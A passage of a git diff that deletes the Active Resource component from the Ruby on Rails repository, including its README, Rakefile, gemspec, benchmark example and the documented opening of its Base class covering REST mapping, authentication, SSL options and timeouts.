-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file
diff --git a/activeresource/README.rdoc b/activeresource/README.rdoc
deleted file mode 100644
index c86289c5fe..0000000000
--- a/activeresource/README.rdoc
+++ /dev/null
@@ -1,187 +0,0 @@
-= Active Resource
-
-Active Resource (ARes) connects business objects and Representational State Transfer (REST)
-web services.  It implements object-relational mapping for REST web services to provide transparent
-proxying capabilities between a client (ActiveResource) and a RESTful service (which is provided by Simply RESTful routing
-in ActionController::Resources).
-
-== Philosophy
-
-Active Resource attempts to provide a coherent wrapper object-relational mapping for REST
-web services. It follows the same philosophy as Active Record, in that one of its prime aims
-is to reduce the amount of code needed to map to these resources.  This is made possible
-by relying on a number of code- and protocol-based conventions that make it easy for Active Resource
-to infer complex relations and structures.  These conventions are outlined in detail in the documentation
-for ActiveResource::Base.
-
-== Overview
-
-Model classes are mapped to remote REST resources by Active Resource much the same way Active Record maps model classes to database
-tables.  When a request is made to a remote resource, a REST XML request is generated, transmitted, and the result
-received and serialized into a usable Ruby object.
-
-== Download and installation
-
-The latest version of Active Support can be installed with RubyGems:
-
-  % [sudo] gem install activeresource
-
-Source code can be downloaded as part of the Rails project on GitHub
-
-* https://github.com/rails/rails/tree/master/activeresource
-
-=== Configuration and Usage
-
-Putting Active Resource to use is very similar to Active Record.  It's as simple as creating a model class
-that inherits from ActiveResource::Base and providing a <tt>site</tt> class variable to it:
-
-   class Person < ActiveResource::Base
-     self.site = "http://api.people.com:3000"
-   end
-
-Now the Person class is REST enabled and can invoke REST services very similarly to how Active Record invokes
-life cycle methods that operate against a persistent store.
-
-   # Find a person with id = 1
-   ryan = Person.find(1)
-   Person.exists?(1)  # => true
-
-As you can see, the methods are quite similar to Active Record's methods for dealing with database
-records.  But rather than dealing directly with a database record, you're dealing with HTTP resources (which may or may not be database records).
-
-==== Protocol
-
-Active Resource is built on a standard XML format for requesting and submitting resources over HTTP.  It mirrors the RESTful routing
-built into Action Controller but will also work with any other REST service that properly implements the protocol.
-REST uses HTTP, but unlike "typical" web applications, it makes use of all the verbs available in the HTTP specification:
-
-* GET requests are used for finding and retrieving resources.
-* POST requests are used to create new resources.
-* PUT requests are used to update existing resources.
-* DELETE requests are used to delete resources.
-
-For more information on how this protocol works with Active Resource, see the ActiveResource::Base documentation;
-for more general information on REST web services, see the article here[http://en.wikipedia.org/wiki/Representational_State_Transfer].
-
-==== Find
-
-Find requests use the GET method and expect the XML form of whatever resource/resources is/are being requested.  So,
-for a request for a single element, the XML of that item is expected in response:
-
-   # Expects a response of
-   #
-   # <person><id type="integer">1</id><attribute1>value1</attribute1><attribute2>..</attribute2></person>
-   #
-   # for GET http://api.people.com:3000/people/1.xml
-   #
-   ryan = Person.find(1)
-
-The XML document that is received is used to build a new object of type Person, with each
-XML element becoming an attribute on the object.
-
-   ryan.is_a? Person  # => true
-   ryan.attribute1  # => 'value1'
-
-Any complex element (one that contains other elements) becomes its own object:
-
-   # With this response:
-   #
-   # <person><id>1</id><attribute1>value1</attribute1><complex><attribute2>value2</attribute2></complex></person>
-   #
-   # for GET http://api.people.com:3000/people/1.xml
-   #
-   ryan = Person.find(1)
-   ryan.complex  # => <Person::Complex::xxxxx>
-   ryan.complex.attribute2  # => 'value2'
-
-Collections can also be requested in a similar fashion
-
-   # Expects a response of
-   #
-   # <people type="array">
-   #  <person><id type="integer">1</id><first>Ryan</first></person>
-   #  <person><id type="integer">2</id><first>Jim</first></person>
-   # </people>
-   #
-   # for GET http://api.people.com:3000/people.xml
-   #
-   people = Person.all
-   people.first  # => <Person::xxx 'first' => 'Ryan' ...>
-   people.last  # => <Person::xxx 'first' => 'Jim' ...>
-
-==== Create
-
-Creating a new resource submits the XML form of the resource as the body of the request and expects
-a 'Location' header in the response with the RESTful URL location of the newly created resource.  The
-id of the newly created resource is parsed out of the Location response header and automatically set
-as the id of the ARes object.
-
-  # <person><first>Ryan</first></person>
-  #
-  # is submitted as the body on
-  #
-  # POST http://api.people.com:3000/people.xml
-  #
-  # when save is called on a new Person object.  An empty response is
-  # is expected with a 'Location' header value:
-  #
-  # Response (201): Location: http://api.people.com:3000/people/2
-  #
-  ryan = Person.new(:first => 'Ryan')
-  ryan.new?  # => true
-  ryan.save  # => true
-  ryan.new?  # => false
-  ryan.id    # => 2
-
-==== Update
-
-'save' is also used to update an existing resource and follows the same protocol as creating a resource
-with the exception that no response headers are needed -- just an empty response when the update on the
-server side was successful.
-
-  # <person><first>Ryan</first></person>
-  #
-  # is submitted as the body on
-  #
-  # PUT http://api.people.com:3000/people/1.xml
-  #
-  # when save is called on an existing Person object.  An empty response is
-  # is expected with code (204)
-  #
-  ryan = Person.find(1)
-  ryan.first # => 'Ryan'
-  ryan.first = 'Rizzle'
-  ryan.save  # => true
-
-==== Delete
-
-Destruction of a resource can be invoked as a class and instance method of the resource.
-
-  # A request is made to
-  #
-  # DELETE http://api.people.com:3000/people/1.xml
-  #
-  # for both of these forms.  An empty response with
-  # is expected with response code (200)
-  #
-  ryan = Person.find(1)
-  ryan.destroy  # => true
-  ryan.exists?  # => false
-  Person.delete(2)  # => true
-  Person.exists?(2) # => false
-
-== License
-
-Active Support is released under the MIT license.
-
-== Support
-
-API documentation is at
-
-* http://api.rubyonrails.org
-
-Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
-
-* https://github.com/rails/rails/issues
-
-You can find more usage information in the ActiveResource::Base documentation.
diff --git a/activeresource/Rakefile b/activeresource/Rakefile
deleted file mode 100755
index b1c18ff189..0000000000
--- a/activeresource/Rakefile
+++ /dev/null
@@ -1,65 +0,0 @@
-#!/usr/bin/env rake
-require 'rake/testtask'
-require 'rake/packagetask'
-require 'rubygems/package_task'
-
-desc "Default Task"
-task :default => [ :test ]
-
-# Run the unit tests
-
-Rake::TestTask.new { |t|
-  t.libs << "test"
-  t.pattern = 'test/**/*_test.rb'
-  t.warning = true
-}
-
-namespace :test do
-  task :isolated do
-    ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
-    activesupport_path = "#{File.dirname(__FILE__)}/../activesupport/lib"
-    Dir.glob("test/**/*_test.rb").all? do |file|
-      sh(ruby, '-w', "-Ilib:test:#{activesupport_path}", file)
-    end or raise "Failures"
-  end
-end
-
-spec = eval(File.read('activeresource.gemspec'))
-
-Gem::PackageTask.new(spec) do |p|
-  p.gem_spec = spec
-end
-
-task :lines do
-  lines, codelines, total_lines, total_codelines = 0, 0, 0, 0
-
-  for file_name in FileList["lib/active_resource/**/*.rb"]
-    next if file_name =~ /vendor/
-    f = File.open(file_name)
-
-    while line = f.gets
-      lines += 1
-      next if line =~ /^\s*$/
-      next if line =~ /^\s*#/
-      codelines += 1
-    end
-    puts "L: #{sprintf("%4d", lines)}, LOC #{sprintf("%4d", codelines)} | #{file_name}"
-
-    total_lines     += lines
-    total_codelines += codelines
-
-    lines, codelines = 0, 0
-  end
-
-  puts "Total: Lines #{total_lines}, LOC #{total_codelines}"
-end
-
-
-# Publishing ------------------------------------------------------
-
-desc "Release to gemcutter"
-task :release => :package do
-  require 'rake/gemcutter'
-  Rake::Gemcutter::Tasks.new(spec).define
-  Rake::Task['gem:push'].invoke
-end
diff --git a/activeresource/activeresource.gemspec b/activeresource/activeresource.gemspec
deleted file mode 100644
index f5c26f38df..0000000000
--- a/activeresource/activeresource.gemspec
+++ /dev/null
@@ -1,24 +0,0 @@
-version = File.read(File.expand_path("../../RAILS_VERSION", __FILE__)).strip
-
-Gem::Specification.new do |s|
-  s.platform    = Gem::Platform::RUBY
-  s.name        = 'activeresource'
-  s.version     = version
-  s.summary     = 'REST modeling framework (part of Rails).'
-  s.description = 'REST on Rails. Wrap your RESTful web app with Ruby classes and work with them like Active Record models.'
-
-  s.required_ruby_version = '>= 1.8.7'
-
-  s.author            = 'David Heinemeier Hansson'
-  s.email             = 'david@loudthinking.com'
-  s.homepage          = 'http://www.rubyonrails.org'
-
-  s.files        = Dir['CHANGELOG.md', 'MIT-LICENSE', 'README.rdoc', 'examples/**/*', 'lib/**/*']
-  s.require_path = 'lib'
-
-  s.extra_rdoc_files = %w( README.rdoc )
-  s.rdoc_options.concat ['--main',  'README.rdoc']
-
-  s.add_dependency('activesupport', version)
-  s.add_dependency('activemodel',   version)
-end
diff --git a/activeresource/examples/performance.rb b/activeresource/examples/performance.rb
deleted file mode 100644
index e4df7a38a4..0000000000
--- a/activeresource/examples/performance.rb
+++ /dev/null
@@ -1,70 +0,0 @@
-require 'rubygems'
-require 'active_resource'
-require 'benchmark'
-
-TIMES = (ENV['N'] || 10_000).to_i
-
-# deep nested resource
-attrs = {
-  :id => 1,
-  :name => 'Luis',
-  :age => 21,
-  :friends => [
-    {
-      :name => 'JK',
-      :age => 24,
-      :colors => ['red', 'green', 'blue'],
-      :brothers => [
-        {
-          :name => 'Mateo',
-          :age => 35,
-          :children => [{ :name => 'Edith', :age => 5 }, { :name => 'Martha', :age => 4 }]
-        },
-        {
-          :name => 'Felipe',
-          :age => 33,
-          :children => [{ :name => 'Bryan', :age => 1 }, { :name => 'Luke', :age => 0 }]
-        }
-      ]
-    },
-    {
-      :name => 'Eduardo',
-      :age => 20,
-      :colors => [],
-      :brothers => [
-        {
-          :name => 'Sebas',
-          :age => 23,
-          :children => [{ :name => 'Andres', :age => 0 }, { :name => 'Jorge', :age => 2 }]
-        },
-        {
-          :name => 'Elsa',
-          :age => 19,
-          :children => [{ :name => 'Natacha', :age => 1 }]
-        },
-        {
-          :name => 'Milena',
-          :age => 16,
-          :children => []
-        }
-      ]
-    }
-  ]
-}
-
-class Customer < ActiveResource::Base
-  self.site = "http://37s.sunrise.i:3000"
-end
-
-module Nested
-  class Customer < ActiveResource::Base
-    self.site = "http://37s.sunrise.i:3000"
-  end
-end
-
-Benchmark.bm(40) do |x|
-  x.report('Model.new (instantiation)')              { TIMES.times { Customer.new } }
-  x.report('Nested::Model.new (instantiation)')      { TIMES.times { Nested::Customer.new } }
-  x.report('Model.new (setting attributes)')         { TIMES.times { Customer.new attrs } }
-  x.report('Nested::Model.new (setting attributes)') { TIMES.times { Nested::Customer.new attrs } }
-end
diff --git a/activeresource/lib/active_resource.rb b/activeresource/lib/active_resource.rb
deleted file mode 100644
index 0794a1a800..0000000000
--- a/activeresource/lib/active_resource.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-#--
-# Copyright (c) 2006-2011 David Heinemeier Hansson
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#++
-
-activesupport_path = File.expand_path('../../../activesupport/lib', __FILE__)
-$:.unshift(activesupport_path) if File.directory?(activesupport_path) && !$:.include?(activesupport_path)
-
-activemodel_path = File.expand_path('../../../activemodel/lib', __FILE__)
-$:.unshift(activemodel_path) if File.directory?(activemodel_path) && !$:.include?(activemodel_path)
-
-require 'active_support'
-require 'active_model'
-require 'active_resource/version'
-
-module ActiveResource
-  extend ActiveSupport::Autoload
-
-  autoload :Base
-  autoload :Connection
-  autoload :CustomMethods
-  autoload :Formats
-  autoload :HttpMock
-  autoload :Observing
-  autoload :Schema
-  autoload :Validations
-end
diff --git a/activeresource/lib/active_resource/base.rb b/activeresource/lib/active_resource/base.rb
deleted file mode 100644
index 10cc727bd9..0000000000
--- a/activeresource/lib/active_resource/base.rb
+++ /dev/null
@@ -1,1483 +0,0 @@
-require 'active_support'
-require 'active_support/core_ext/class/attribute_accessors'
-require 'active_support/core_ext/class/attribute'
-require 'active_support/core_ext/hash/indifferent_access'
-require 'active_support/core_ext/kernel/reporting'
-require 'active_support/core_ext/module/delegation'
-require 'active_support/core_ext/module/aliasing'
-require 'active_support/core_ext/object/blank'
-require 'active_support/core_ext/object/to_query'
-require 'active_support/core_ext/object/duplicable'
-require 'set'
-require 'uri'
-
-require 'active_support/core_ext/uri'
-require 'active_resource/exceptions'
-require 'active_resource/connection'
-require 'active_resource/formats'
-require 'active_resource/schema'
-require 'active_resource/log_subscriber'
-
-module ActiveResource
-  # ActiveResource::Base is the main class for mapping RESTful resources as models in a Rails application.
-  #
-  # For an outline of what Active Resource is capable of, see its {README}[link:files/activeresource/README_rdoc.html].
-  #
-  # == Automated mapping
-  #
-  # Active Resource objects represent your RESTful resources as manipulatable Ruby objects.  To map resources
-  # to Ruby objects, Active Resource only needs a class name that corresponds to the resource name (e.g., the class
-  # Person maps to the resources people, very similarly to Active Record) and a +site+ value, which holds the
-  # URI of the resources.
-  #
-  #   class Person < ActiveResource::Base
-  #     self.site = "http://api.people.com:3000/"
-  #   end
-  #
-  # Now the Person class is mapped to RESTful resources located at <tt>http://api.people.com:3000/people/</tt>, and
-  # you can now use Active Resource's life cycle methods to manipulate resources. In the case where you already have
-  # an existing model with the same name as the desired RESTful resource you can set the +element_name+ value.
-  #
-  #   class PersonResource < ActiveResource::Base
-  #     self.site = "http://api.people.com:3000/"
-  #     self.element_name = "person"
-  #   end
-  #
-  # If your Active Resource object is required to use an HTTP proxy you can set the +proxy+ value which holds a URI.
-  #
-  #   class PersonResource < ActiveResource::Base
-  #     self.site = "http://api.people.com:3000/"
-  #     self.proxy = "http://user:password@proxy.people.com:8080"
-  #   end
-  #
-  #
-  # == Life cycle methods
-  #
-  # Active Resource exposes methods for creating, finding, updating, and deleting resources
-  # from REST web services.
-  #
-  #   ryan = Person.new(:first => 'Ryan', :last => 'Daigle')
-  #   ryan.save                # => true
-  #   ryan.id                  # => 2
-  #   Person.exists?(ryan.id)  # => true
-  #   ryan.exists?             # => true
-  #
-  #   ryan = Person.find(1)
-  #   # Resource holding our newly created Person object
-  #
-  #   ryan.first = 'Rizzle'
-  #   ryan.save                # => true
-  #
-  #   ryan.destroy             # => true
-  #
-  # As you can see, these are very similar to Active Record's life cycle methods for database records.
-  # You can read more about each of these methods in their respective documentation.
-  #
-  # === Custom REST methods
-  #
-  # Since simple CRUD/life cycle methods can't accomplish every task, Active Resource also supports
-  # defining your own custom REST methods. To invoke them, Active Resource provides the <tt>get</tt>,
-  # <tt>post</tt>, <tt>put</tt> and <tt>\delete</tt> methods where you can specify a custom REST method
-  # name to invoke.
-  #
-  #   # POST to the custom 'register' REST method, i.e. POST /people/new/register.json.
-  #   Person.new(:name => 'Ryan').post(:register)
-  #   # => { :id => 1, :name => 'Ryan', :position => 'Clerk' }
-  #
-  #   # PUT an update by invoking the 'promote' REST method, i.e. PUT /people/1/promote.json?position=Manager.
-  #   Person.find(1).put(:promote, :position => 'Manager')
-  #   # => { :id => 1, :name => 'Ryan', :position => 'Manager' }
-  #
-  #   # GET all the positions available, i.e. GET /people/positions.json.
-  #   Person.get(:positions)
-  #   # => [{:name => 'Manager'}, {:name => 'Clerk'}]
-  #
-  #   # DELETE to 'fire' a person, i.e. DELETE /people/1/fire.json.
-  #   Person.find(1).delete(:fire)
-  #
-  # For more information on using custom REST methods, see the
-  # ActiveResource::CustomMethods documentation.
-  #
-  # == Validations
-  #
-  # You can validate resources client side by overriding validation methods in the base class.
-  #
-  #   class Person < ActiveResource::Base
-  #      self.site = "http://api.people.com:3000/"
-  #      protected
-  #        def validate
-  #          errors.add("last", "has invalid characters") unless last =~ /[a-zA-Z]*/
-  #        end
-  #   end
-  #
-  # See the ActiveResource::Validations documentation for more information.
-  #
-  # == Authentication
-  #
-  # Many REST APIs will require authentication, usually in the form of basic
-  # HTTP authentication.  Authentication can be specified by:
-  #
-  # === HTTP Basic Authentication
-  # * putting the credentials in the URL for the +site+ variable.
-  #
-  #    class Person < ActiveResource::Base
-  #      self.site = "http://ryan:password@api.people.com:3000/"
-  #    end
-  #
-  # * defining +user+ and/or +password+ variables
-  #
-  #    class Person < ActiveResource::Base
-  #      self.site = "http://api.people.com:3000/"
-  #      self.user = "ryan"
-  #      self.password = "password"
-  #    end
-  #
-  # For obvious security reasons, it is probably best if such services are available
-  # over HTTPS.
-  #
-  # Note: Some values cannot be provided in the URL passed to site.  e.g. email addresses
-  # as usernames.  In those situations you should use the separate user and password option.
-  #
-  # === Certificate Authentication
-  #
-  # * End point uses an X509 certificate for authentication. <tt>See ssl_options=</tt> for all options.
-  #
-  #    class Person < ActiveResource::Base
-  #      self.site = "https://secure.api.people.com/"
-  #      self.ssl_options = {:cert         => OpenSSL::X509::Certificate.new(File.open(pem_file))
-  #                          :key          => OpenSSL::PKey::RSA.new(File.open(pem_file)),
-  #                          :ca_path      => "/path/to/OpenSSL/formatted/CA_Certs",
-  #                          :verify_mode  => OpenSSL::SSL::VERIFY_PEER}
-  #    end
-  #
-  #
-  # == Errors & Validation
-  #
-  # Error handling and validation is handled in much the same manner as you're used to seeing in
-  # Active Record.  Both the response code in the HTTP response and the body of the response are used to
-  # indicate that an error occurred.
-  #
-  # === Resource errors
-  #
-  # When a GET is requested for a resource that does not exist, the HTTP <tt>404</tt> (Resource Not Found)
-  # response code will be returned from the server which will raise an ActiveResource::ResourceNotFound
-  # exception.
-  #
-  #   # GET http://api.people.com:3000/people/999.json
-  #   ryan = Person.find(999) # 404, raises ActiveResource::ResourceNotFound
-  #
-  #
-  # <tt>404</tt> is just one of the HTTP error response codes that Active Resource will handle with its own exception. The
-  # following HTTP response codes will also result in these exceptions:
-  #
-  # * 200..399 - Valid response. No exceptions, other than these redirects:
-  # * 301, 302, 303, 307 - ActiveResource::Redirection
-  # * 400 - ActiveResource::BadRequest
-  # * 401 - ActiveResource::UnauthorizedAccess
-  # * 403 - ActiveResource::ForbiddenAccess
-  # * 404 - ActiveResource::ResourceNotFound
-  # * 405 - ActiveResource::MethodNotAllowed
-  # * 409 - ActiveResource::ResourceConflict
-  # * 410 - ActiveResource::ResourceGone
-  # * 422 - ActiveResource::ResourceInvalid (rescued by save as validation errors)
-  # * 401..499 - ActiveResource::ClientError
-  # * 500..599 - ActiveResource::ServerError
-  # * Other - ActiveResource::ConnectionError
-  #
-  # These custom exceptions allow you to deal with resource errors more naturally and with more precision
-  # rather than returning a general HTTP error.  For example:
-  #
-  #   begin
-  #     ryan = Person.find(my_id)
-  #   rescue ActiveResource::ResourceNotFound
-  #     redirect_to :action => 'not_found'
-  #   rescue ActiveResource::ResourceConflict, ActiveResource::ResourceInvalid
-  #     redirect_to :action => 'new'
-  #   end
-  #
-  # When a GET is requested for a nested resource and you don't provide the prefix_param
-  # an ActiveResource::MissingPrefixParam will be raised.
-  #
-  #  class Comment < ActiveResource::Base
-  #    self.site = "http://someip.com/posts/:post_id/"
-  #  end
-  #
-  #  Comment.find(1)
-  #  # => ActiveResource::MissingPrefixParam: post_id prefix_option is missing
-  #
-  # === Validation errors
-  #
-  # Active Resource supports validations on resources and will return errors if any of these validations fail
-  # (e.g., "First name can not be blank" and so on).  These types of errors are denoted in the response by
-  # a response code of <tt>422</tt> and an XML or JSON representation of the validation errors.  The save operation will
-  # then fail (with a <tt>false</tt> return value) and the validation errors can be accessed on the resource in question.
-  #
-  #   ryan = Person.find(1)
-  #   ryan.first # => ''
-  #   ryan.save  # => false
-  #
-  #   # When
-  #   # PUT http://api.people.com:3000/people/1.json
-  #   # or
-  #   # PUT http://api.people.com:3000/people/1.json
-  #   # is requested with invalid values, the response is:
-  #   #
-  #   # Response (422):
-  #   # <errors><error>First cannot be empty</error></errors>
-  #   # or
-  #   # {"errors":["First cannot be empty"]}
-  #   #
-  #
-  #   ryan.errors.invalid?(:first)  # => true
-  #   ryan.errors.full_messages     # => ['First cannot be empty']
-  #
-  # Learn more about Active Resource's validation features in the ActiveResource::Validations documentation.
-  #
-  # === Timeouts
-  #
-  # Active Resource relies on HTTP to access RESTful APIs and as such is inherently susceptible to slow or
-  # unresponsive servers. In such cases, your Active Resource method calls could \timeout. You can control the
-  # amount of time before Active Resource times out with the +timeout+ variable.
-  #
-  #   class Person < ActiveResource::Base
-  #     self.site = "http://api.people.com:3000/"
-  #     self.timeout = 5
-  #   end
-  #
-  # This sets the +timeout+ to 5 seconds. You can adjust the +timeout+ to a value suitable for the RESTful API
-  # you are accessing. It is recommended to set this to a reasonably low value to allow your Active Resource
-  # clients (especially if you are using Active Resource in a Rails application) to fail-fast (see
-  # http://en.wikipedia.org/wiki/Fail-fast) rather than cause cascading failures that could incapacitate your
-  # server.
-  #
-  # When a \timeout occurs, an ActiveResource::TimeoutError is raised. You should rescue from
-  # ActiveResource::TimeoutError in your Active Resource method calls.
-  #
-  # Internally, Active Resource relies on Ruby's Net::HTTP library to make HTTP requests. Setting +timeout+
-  # sets the <tt>read_timeout</tt> of the internal Net::HTTP instance to the same value. The default
-  # <tt>read_timeout</tt> is 60 seconds on most Ruby implementations.
-  class Base
-    ##
-    # :singleton-method:
-    # The logger for diagnosing and tracing Active Resource calls.
-    cattr_accessor :logger
-
-    class_attribute :_format
-
-    class << self
-      # Creates a schema for this resource - setting the attributes that are
-      # known prior to fetching an instance from the remote system.
-      #
-      # The schema helps define the set of <tt>known_attributes</tt> of the
-      # current resource.
-      #
-      # There is no need to specify a schema for your Active Resource. If
-      # you do not, the <tt>known_attributes</tt> will be guessed from the
-      # instance attributes returned when an instance is fetched from the
-      # remote system.
-      #
-      # example:
-      # class Person < ActiveResource::Base
-      #   schema do
-      #     # define each attribute separately
-      #     attribute 'name', :string
-      #
-      #     # or use the convenience methods and pass >=1 attribute names
-      #     string  'eye_color', 'hair_color'
-      #     integer 'age'
-      #     float   'height', 'weight'
-      #
-      #     # unsupported types should be left as strings
-      #     # overload the accessor methods if you need to convert them
-      #     attribute 'created_at', 'string'
-      #   end
-      # end
-      #
-      # p = Person.new
-      # p.respond_to? :name   # => true
-      # p.respond_to? :age    # => true
-      # p.name                # => nil
-      # p.age                 # => nil
-      #
-      # j = Person.find_by_name('John') # <person><name>John</name><age>34</age><num_children>3</num_children></person>
-      # j.respond_to? :name   # => true
-      # j.respond_to? :age    # => true
-      # j.name                # => 'John'
-      # j.age                 # => '34'  # note this is a string!
-      # j.num_children        # => '3'  # note this is a string!
-      #
-      # p.num_children        # => NoMethodError
-      #
-      # Attribute-types must be one of:
-      #  string, integer, float
-      #
-      # Note: at present the attribute-type doesn't do anything, but stay
-      # tuned...
-      # Shortly it will also *cast* the value of the returned attribute.
-      # ie:
-      # j.age                 # => 34   # cast to an integer
-      # j.weight              # => '65' # still a string!
-      #
-      def schema(&block)
-        if block_given?
-          schema_definition = Schema.new
-          schema_definition.instance_eval(&block)
-
-          # skip out if we didn't define anything
-          return unless schema_definition.attrs.present?
-
-          @schema ||= {}.with_indifferent_access
-          @known_attributes ||= []
-
-          schema_definition.attrs.each do |k,v|
-            @schema[k] = v
-            @known_attributes << k
-          end
-
-          schema
-        else
-          @schema ||= nil
-        end
-      end
-
-      # Alternative, direct way to specify a <tt>schema</tt> for this
-      # Resource. <tt>schema</tt> is more flexible, but this is quick
-      # for a very simple schema.
-      #
-      # Pass the schema as a hash with the keys being the attribute-names
-      # and the value being one of the accepted attribute types (as defined
-      # in <tt>schema</tt>)
-      #
-      # example:
-      #
-      # class Person < ActiveResource::Base
-      #   schema = {'name' => :string, 'age' => :integer }
-      # end
-      #
-      # The keys/values can be strings or symbols. They will be converted to
-      # strings.
-      #
-      def schema=(the_schema)
-        unless the_schema.present?
-          # purposefully nulling out the schema
-          @schema = nil
-          @known_attributes = []
-          return
-        end
-
-        raise ArgumentError, "Expected a hash" unless the_schema.kind_of? Hash
-
-        schema do
-          the_schema.each {|k,v| attribute(k,v) }
-        end
-      end
-
-      # Returns the list of known attributes for this resource, gathered
-      # from the provided <tt>schema</tt>
-      # Attributes that are known will cause your resource to return 'true'
-      # when <tt>respond_to?</tt> is called on them. A known attribute will
-      # return nil if not set (rather than <t>MethodNotFound</tt>); thus
-      # known attributes can be used with <tt>validates_presence_of</tt>
-      # without a getter-method.
-      def known_attributes
-        @known_attributes ||= []
-      end
-
-      # Gets the URI of the REST resources to map for this class.  The site variable is required for
-      # Active Resource's mapping to work.
-      def site
-        # Not using superclass_delegating_reader because don't want subclasses to modify superclass instance
-        #
-        # With superclass_delegating_reader
-        #
-        #   Parent.site = 'http://anonymous@test.com'
-        #   Subclass.site # => 'http://anonymous@test.com'
-        #   Subclass.site.user = 'david'
-        #   Parent.site # => 'http://david@test.com'
-        #
-        # Without superclass_delegating_reader (expected behavior)
-        #
-        #   Parent.site = 'http://anonymous@test.com'
-        #   Subclass.site # => 'http://anonymous@test.com'
-        #   Subclass.site.user = 'david' # => TypeError: can't modify frozen object
-        #
-        if defined?(@site)
-          @site
-        elsif superclass != Object && superclass.site
-          superclass.site.dup.freeze
-        end
-      end
-
-      # Sets the URI of the REST resources to map for this class to the value in the +site+ argument.
-      # The site variable is required for Active Resource's mapping to work.
-      def site=(site)
-        @connection = nil
-        if site.nil?
-          @site = nil
-        else
-          @site = create_site_uri_from(site)
-          @user = URI.parser.unescape(@site.user) if @site.user
-          @password = URI.parser.unescape(@site.password) if @site.password
-        end
-      end
-
-      # Gets the \proxy variable if a proxy is required
-      def proxy
-        # Not using superclass_delegating_reader. See +site+ for explanation
-        if defined?(@proxy)
-          @proxy
-        elsif superclass != Object && superclass.proxy
-          superclass.proxy.dup.freeze
-        end
-      end
-
-      # Sets the URI of the http proxy to the value in the +proxy+ argument.
-      def proxy=(proxy)
-        @connection = nil
-        @proxy = proxy.nil? ? nil : create_proxy_uri_from(proxy)
-      end
-
-      # Gets the \user for REST HTTP authentication.
-      def user
-        # Not using superclass_delegating_reader. See +site+ for explanation
-        if defined?(@user)
-          @user
-        elsif superclass != Object && superclass.user
-          superclass.user.dup.freeze
-        end
-      end
-
-      # Sets the \user for REST HTTP authentication.
-      def user=(user)
-        @connection = nil
-        @user = user
-      end
-
-      # Gets the \password for REST HTTP authentication.
-      def password
-        # Not using superclass_delegating_reader. See +site+ for explanation
-        if defined?(@password)
-          @password
-        elsif superclass != Object && superclass.password
-          superclass.password.dup.freeze
-        end
-      end
-
-      # Sets the \password for REST HTTP authentication.
-      def password=(password)
-        @connection = nil
-        @password = password
-      end
-
-      def auth_type
-        if defined?(@auth_type)
-          @auth_type
-        end
-      end
-
-      def auth_type=(auth_type)
-        @connection = nil
-        @auth_type = auth_type
-      end
-
-      # Sets the format that attributes are sent and received in from a mime type reference:
-      #
-      #   Person.format = :json
-      #   Person.find(1) # => GET /people/1.json
-      #
-      #   Person.format = ActiveResource::Formats::XmlFormat
-      #   Person.find(1) # => GET /people/1.xml
-      #
-      # Default format is <tt>:json</tt>.
-      def format=(mime_type_reference_or_format)
-        format = mime_type_reference_or_format.is_a?(Symbol) ?
-          ActiveResource::Formats[mime_type_reference_or_format] : mime_type_reference_or_format
-
-        self._format = format
-        connection.format = format if site
-      end
-
-      # Returns the current format, default is ActiveResource::Formats::JsonFormat.
-      def format
-        self._format || ActiveResource::Formats::JsonFormat
-      end
-
-      # Sets the number of seconds after which requests to the REST API should time out.
-      def timeout=(timeout)
-        @connection = nil
-        @timeout = timeout
-      end
-
-      # Gets the number of seconds after which requests to the REST API should time out.
-      def timeout
-        if defined?(@timeout)
-          @timeout
-        elsif superclass != Object && superclass.timeout
-          superclass.timeout
-        end
-      end
-
-      # Options that will get applied to an SSL connection.
-      #
-      # * <tt>:key</tt> - An OpenSSL::PKey::RSA or OpenSSL::PKey::DSA object.
-      # * <tt>:cert</tt> - An OpenSSL::X509::Certificate object as client certificate
-      # * <tt>:ca_file</tt> - Path to a CA certification file in PEM format. The file can contain several CA certificates.
-      # * <tt>:ca_path</tt> - Path of a CA certification directory containing certifications in PEM format.
-      # * <tt>:verify_mode</tt> - Flags for server the certification verification at beginning of SSL/TLS session. (OpenSSL::SSL::VERIFY_NONE or OpenSSL::SSL::VERIFY_PEER is acceptable)
-      # * <tt>:verify_callback</tt> - The verify callback for the server certification verification.
-      # * <tt>:verify_depth</tt> - The maximum depth for the certificate chain verification.
-      # * <tt>:cert_store</tt> - OpenSSL::X509::Store to verify peer certificate.
-      # * <tt>:ssl_timeout</tt> -The SSL timeout in seconds.
-      def ssl_options=(opts={})
-        @connection   = nil
-        @ssl_options  = opts
-      end
-
